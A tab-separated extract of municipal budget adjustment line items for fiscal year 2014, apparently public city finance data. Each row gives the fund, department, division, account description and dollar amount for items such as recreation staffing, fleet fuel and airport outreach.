6688	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2014	1326.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1326.0
6689	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2014	522.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	522.0
6690	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2014	360.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	360.0
6691	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	1750.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1750.0
6692	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2014	250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	250.0
6693	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401070.0	TENNIS RESERVATIONS	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6694	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	511490.0	OVERTIME	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6695	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	24007.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	24007.0
6696	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2014	417.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	417.0
6697	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2014	216.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	216.0
6698	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	500.0
6699	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2014	700.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	700.0
6700	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544230.0	COMMUNITY SERVICES SU	810.0	 Supplies and Expenses	2014	-15055.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-15055.0
6701	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	22595.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	22595.0
6702	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	126782.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	126782.0
6703	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	5101.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5101.0
6704	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	1280.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1280.0
6705	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2014	4250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4250.0
6706	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2014	630.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	630.0
6707	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2014	12088.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12088.0
6708	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2014	20100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20100.0
6709	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	76815.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	76815.0
6710	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2014	276.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	276.0
6711	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	29463.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	29463.0
6712	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2014	1764.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1764.0
6713	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2014	100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100.0
6714	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2014	3651.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3651.0
6715	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2014	2018.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2018.0
6716	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2014	775.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	775.0
6717	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	400750.0	INT DEP / INVESTMENT	659.0	Investment Income	2014	-402557.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-402557.0
6718	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	402700.0	REGULAR FUEL-DEPT USAGE	650.0	Charges for Service	2014	-450000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-450000.0
6719	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511749.0	VISION	808.0	Salaries and Wages	2014	3873.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3873.0
6720	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		DCAP	808.0	Salaries and Wages	2014	1992.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1992.0
6721	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522930.0	VEHICLES - TIRES / TUBES	808.0	 Supplies and Expenses	2014	148625.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	148625.0
6722	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	19475.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	19475.0
6723	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	51250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	51250.0
6724	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2014	16318.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16318.0
6725	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	8491.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8491.0
6726	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511749.0	VISION		Salaries and Wages	2014	834.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	834.0
6727	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		UNEMPLOYMENT		Salaries and Wages	2014	2807.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2807.0
6728	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		EAP		Salaries and Wages	2014	626.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	626.0
6729	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	533580.0	COMPUTER EQUIP/SOFTWARE MAINT		 Supplies and Expenses	2014	5778.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5778.0
6730	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	566610.0	PROCESS & HAULING EXPENSE	808.0	 Supplies and Expenses	2014	2500000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2500000.0
6731	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6732	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6733	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6734	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6735	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-11817.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-11817.0
6736	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-2570.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2570.0
6737	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2014	-4012.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-4012.0
6738	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT		EMPLOYEE HEALTH CONTRIBUTION	812.0	Salaries and Wages	2014	-9222.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-9222.0
6739	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	400773.0	JONATHAN CLUB-IMPROVEMENTS	618.0	Rentals	2014	-75000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-75000.0
6740	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	401320.0	PARKING STRUCTURE PERMITS	608.0	Licenses and Permits	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6741	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	407260.0	STRUCTURE 9 PARKING	608.0	Licenses and Permits	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6742	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	407710.0	MAIN LIBRARY PARKING STRUCTURE	608.0	Licenses and Permits	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6743	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	566550.0	COMMUNITY FESTIVALS	810.0	 Supplies and Expenses	2014	2564.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2564.0
6744	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401130.0	SPORTS LEAGUES	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6745	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511560.0	CAPITALIZED LABOR		Salaries and Wages	2014	-55550.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-55550.0
6746	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	401110.0	TRAFFIC ACCIDENT HAZ MAT CLEAN	612.0	Charges for Service	2014	-5000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-5000.0
6747	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	404320.0	PARAMEDIC SKILLED NURSING FEE	612.0	Charges for Service	2014	-3000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-3000.0
6748	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	511744.0	MED TRUST - POLICE	806.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6749	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	408140.0	ABOVE GROUND TANK PROGRAM	612.0	Charges for Service	2014	-8364.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-8364.0
6750	BA	IS	20	Miscellaneous Grants Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	578835.0	JAG 2010	806.0	 Supplies and Expenses	2014	2500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2500.0
6751	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6752	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	522610.0	EQUIPMENT RENTAL	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6753	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	544010.0	SPECIAL DEPARTMENT SUPPLIES	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6754	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	588500.0	MISCELLANEOUS EQUIPMENT	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6755	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6756	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511920.0	UNIFORM / TOOL ALLOWANCE	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6757	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6758	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6759	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6760	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE		EAP	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6761	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2014	5985.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5985.0
6762	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2014	760.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	760.0
6763	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2014	760.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	760.0
6764	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2014	760.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	760.0
6765	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6766	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6767	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6768	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	544200.0	SPORTS SUPPLIES	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6769	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6770	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511490.0	OVERTIME	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6771	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6772	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6773	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6774	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6775	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6776	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	555210.0	TRAINING	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6777	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6778	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6779	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	544010.0	SPECIAL DEPARTMENT SUPPLIES	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6780	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6781	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	540590.0	EMPLOYEE RECOGNITION & APPRECI	804.0	 Supplies and Expenses	2014	4100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4100.0
6782	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2014	47300.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	47300.0
6783	BA	IS	4	Special Revenue Source Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	406590.0	DA CULT ARTS IN LIEU FEE	612.0	Charges for Service	2014	-370628.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-370628.0
6784	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402162.0	FILMING RECEIPTS	662.0	Other	2014	-9000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-9000.0
6785	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522510.0	COMMUNITY OUTREACH		 Supplies and Expenses	2014	19342.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	19342.0
6786	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522720.0	MILEAGE		 Supplies and Expenses	2014	575.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	575.0
6787	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2014	87734.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	87734.0
6788	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2014	651.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	651.0
6789	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	555210.0	TRAINING	804.0	 Supplies and Expenses	2014	15249.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15249.0
6790	BA	IS	52	Special Aviation Fund	500	PUBLIC WORKS	431	AIRPORT	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2014	-1700.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1700.0
6791	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	555121.0	ASSFC PASS-THRU		 Supplies and Expenses	2014	200000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	200000.0
6792	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544740.0	ARTIST FELLOWSHIPS	810.0	 Supplies and Expenses	2014	60500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	60500.0
6793	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2014	20500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20500.0
6794	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2014	1500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1500.0
6795	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	522825.0	FOOD PURCHASES	816.0	 Supplies and Expenses	2014	3200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3200.0
6796	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2014	2051.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2051.0
6797	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522825.0	FOOD PURCHASES	848.0	 Supplies and Expenses	2014	1410.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1410.0
6798	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	579290.0	UTILITIES BILLING SERVICES	866.0	 Supplies and Expenses	2014	308479.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	308479.0
6799	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	406980.0	PBAD ASSESSMENT	622.0	Other	2014	-32981.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-32981.0
6800	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	1700383.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1700383.0
6801	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		DCAP	808.0	Salaries and Wages	2014	1080.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1080.0
6802	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2014	4203.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4203.0
6803	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522825.0	FOOD PURCHASES	808.0	 Supplies and Expenses	2014	523.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	523.0
6804	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	556010.0	UTILITY CONTRACTS	804.0	 Supplies and Expenses	2014	273166.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	273166.0
6805	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	555200.0	REIMBURSE ENGINEERING OFFICE	866.0	 Supplies and Expenses	2014	3185.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3185.0
6806	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	401662.0	ASSFC PASS-THRU	662.0	Other	2014	-200000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-200000.0
6807	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522500.0	BOARDS AND COMMISSIONS	810.0	 Supplies and Expenses	2014	2381.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2381.0
6808	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522825.0	FOOD PURCHASES	816.0	 Supplies and Expenses	2014	750.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	750.0
